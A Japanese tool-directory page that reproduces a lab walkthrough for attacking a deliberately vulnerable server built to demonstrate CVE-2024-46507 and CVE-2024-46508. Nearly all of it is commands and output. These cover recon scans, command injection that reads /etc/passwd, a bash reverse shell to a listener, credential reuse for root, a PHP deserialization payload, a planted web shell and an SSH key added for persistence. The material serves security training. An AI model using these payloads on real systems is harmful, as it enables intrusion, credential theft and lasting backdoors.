Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-46507 — CVE-2024-46507 および CVE-2024-46508 用のビルドスクリプト | Kitploit
ツール/GitHubGitHub/somchandra17/cve-2024-46507
特権昇格偵察脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール学習と教育ラボと実践
GitHubsomchandra17/cve-2024-46507

CVE-2024-46507

CVE-2024-46507 および CVE-2024-46508 用のビルドスクリプト

1161年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

このスクリプトはUbuntu Server 20.04 LTS上でテストおよび構築され、悪用とウォークスルーにはKali Linuxが使用されました。

このウォークスルーでは、CVE-2024-46507(コマンドインジェクション)とCVE-2024-46508(認証バイパス)の脆弱性を含む脆弱なサーバーの悪用方法を解説します。

初期偵察

まず、ターゲットIPアドレスを変数としてエクスポートしましょう。これを実際のターゲットIPに置き換えてください:

root@kitploit:~
export TARGET="192.168.65.129"

ポートスキャン

まず、ターゲット上の開放されているサービスを特定しましょう:

root@kitploit:~
# Initial fast scan of common ports
sudo nmap -sS -T4 $TARGET

# Full port scan to ensure we don't miss anything
sudo nmap -sS -p- -T4 $TARGET

# Detailed scan of discovered ports with service version detection
sudo nmap -sV -sC -p22,80,9000 $TARGET -oN nmap_results.txt

詳細スキャンの想定出力:

root@kitploit:~
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-03 19:00 EST
Nmap scan report for 192.168.65.129
Host is up (0.00042s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a8:01:a0:e9:f8:75:ca:9a:4b:40:ad:32:4f:2e:e2:f0 (RSA)
|   256 40:d9:27:46:6e:20:4c:84:d8:4e:3d:5a:07:84:19:91 (ECDSA)
|_  256 68:b9:1f:99:50:15:29:2f:be:da:93:1d:d9:03:da:18 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
9000/tcp open  http    SimpleHTTPServer 0.6 (Python 3.8.10)
|_http-title: Vulnerable Application
|_http-server-header: SimpleHTTP/0.6 Python/3.8.10
MAC Address: 00:0C:29:AD:B8:5D (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Webアプリケーションの列挙

発見されたポート上のWebアプリケーションを探索しましょう:

root@kitploit:~
# Check port 80 (Apache)
firefox http://$TARGET/

# Check port 9000 (Python SimpleHTTP server)
firefox http://$TARGET:9000/

両方とも同じアプリケーションコンテンツを指しています。アプリケーションの構造についてさらに調べましょう:

root@kitploit:~
# Use gobuster to find directories and files
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

想定出力:

root@kitploit:~
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.65.129
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 805]
/api                  (Status: 301) [Size: 0] [--> /api/]

APIディレクトリの中身を確認しましょう:

root@kitploit:~
# Use gobuster to find API endpoints
gobuster dir -u http://$TARGET:9000/api/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

または、ブラウザで開くだけでも構いません。

想定出力:

root@kitploit:~
/process.php (Status: 200)

CVE-2024-46507 の悪用(コマンドインジェクション)

偵察により、/api/process.php エンドポイントを発見しました。Webインターフェースには、このエンドポイントに "command" パラメータを送信するフォームが表示されます。

コマンドインジェクションをテストしましょう:

root@kitploit:~
# Test with a simple command
curl "http://$TARGET:9000/api/process.php?command=id"

想定出力:

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)

成功しました!アプリケーションが私たちのコマンドを実行しています。他にアクセスできるものを確認しましょう:

root@kitploit:~
# List directory contents
curl "http://$TARGET/api/process.php?command=ls+-la"

# Explore the system
curl "http://$TARGET/api/process.php?command=cat+/etc/passwd"

出力:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin uuidd:x:106:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:107:113::/nonexistent:/usr/sbin/nologin som:x:1000:1000:0xs0m,,,:/home/som:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin sshd:x:108:65534::/run/sshd:/usr/sbin/nologin mysql:x:109:118:MySQL Server,,,:/nonexistent:/bin/false 

次に、リバースシェルを取得しましょう。まず、Kaliマシン上でリスナーをセットアップします:

root@kitploit:~
# Start a netcat listener
nc -lvnp 4444

次に、リバースシェルコマンドを送信します:

root@kitploit:~
# URL encode the reverse shell payload
# Original: bash -c 'bash -i >& /dev/tcp/YOUR_KALI_IP/4444 0>&1'
# Replace YOUR_KALI_IP with your actual Kali machine IP

curl -G --data-urlencode "command=bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'" http://$TARGET/api/process.php

www-data ユーザーとしてシェルを取得できたはずです!より使いやすいシェルにアップグレードしましょう:

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Press Ctrl+Z to background the shell
# Then in your Kali terminal:
stty raw -echo; fg
# Press Enter twice

CVE-2024-46508 による権限昇格

シェルを取得できたので、機密ファイルを確認しましょう:

root@kitploit:~
# Check application configuration
cat /opt/vulnerable-app/config/app.conf
cat /opt/vulnerable-app/config/auth.conf

既定の認証情報が見つかります:

  • ユーザー名: admin
  • パスワード: admin

データベースの認証情報を確認しましょう:

root@kitploit:~
# Look for database credentials
find /opt/vulnerable-app -type f -exec grep -l "password" {} \;

これによりデータベース接続情報が明らかになるはずです。データベースにアクセスしましょう:

root@kitploit:~
# Connect to MariaDB
mysql -u vulnuser -p'password123' vulnapp

接続できたら、データベースを探索しましょう:

root@kitploit:~
-- Show tables
SHOW TABLES;

-- View users table
SELECT * FROM users;

"supersecretpassword" というパスワードを持つadminユーザーが見つかるはずです。これを使ってrootアクセスを試みましょう:

root@kitploit:~
# Try to switch to root
su root
# Enter the password: supersecretpassword

su メソッドが機能しない場合は、他の権限昇格ベクトルを確認しましょう:

root@kitploit:~
# Check sudo permissions
sudo -l

# Check for SUID binaries
find / -perm -u=s -type f 2>/dev/null

# Check for cron jobs
cat /etc/crontab
ls -la /etc/cron*

もう1つの方法として、発見した認証情報を使ってSSHアクセスを試すことができます:

root@kitploit:~
# From your Kali machine
ssh root@$TARGET
# Enter the password: supersecretpassword

フラグの取得

rootアクセスを取得できたら、フラグを見つけるはずです:

root@kitploit:~
# Look for flag files
find / -name "*.txt" 2>/dev/null | grep -v "proc"

# Read the flag
cat /root/flag.txt

想定出力:

root@kitploit:~
f1a9d4c2b7e35680d2f1a9c3b7d45e80

代替的な悪用手法: PHPデシリアライゼーション

このアプリケーションはPHPデシリアライゼーション攻撃にも脆弱です。悪意のあるシリアライズオブジェクトを作成しましょう:

root@kitploit:~
<?php
// Save as exploit.php on your Kali machine
class Exploit {
    public $command = 'system("cat /root/flag.txt");';
    
    public function __destruct() {
        eval($this->command);
    }
}

$exploit = new Exploit();
echo base64_encode(serialize($exploit));
?>

ペイロードを生成します:

root@kitploit:~
php exploit.php

これにより、base64エンコードされたシリアライズオブジェクトが出力されます。それをサーバーに送信しましょう:

root@kitploit:~
# Save the output from the previous command as PAYLOAD
curl -X POST -d "data=PAYLOAD" http://$TARGET/api/process.php

サーバーは私たちのコードを実行し、フラグを表示するはずです。

高度な悪用手法: 永続化

より永続的な足場を得るために、Webシェルを作成できます:

root@kitploit:~
# As www-data user, create a PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > /opt/vulnerable-app/webroot/shell.php

# Access from Kali
curl "http://$TARGET/shell.php?cmd=id"

永続的なrootアクセスのためにSSHキーを追加することもできます:

root@kitploit:~
# On Kali, generate an SSH key pair
ssh-keygen -t rsa -f vulnserver_key

# On the target as root, add our public key
mkdir -p /root/.ssh
echo "YOUR_PUBLIC_KEY_HERE" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Then connect from Kali
ssh -i vulnserver_key root@$TARGET

脆弱性のまとめ

このサーバーは主に次の2つの問題に対して脆弱でした:

  1. CVE-2024-46507: process.php APIエンドポイントにおけるコマンドインジェクションの脆弱性により、任意のコマンドを実行できました。

  2. CVE-2024-46508: 次の理由による認証バイパスと権限昇格:

    • 既定の認証情報が有効のまま残されていた
    • 脆弱なデータベースパスワード
    • 異なるシステム間でのパスワードの再利用
ツールをダウンロード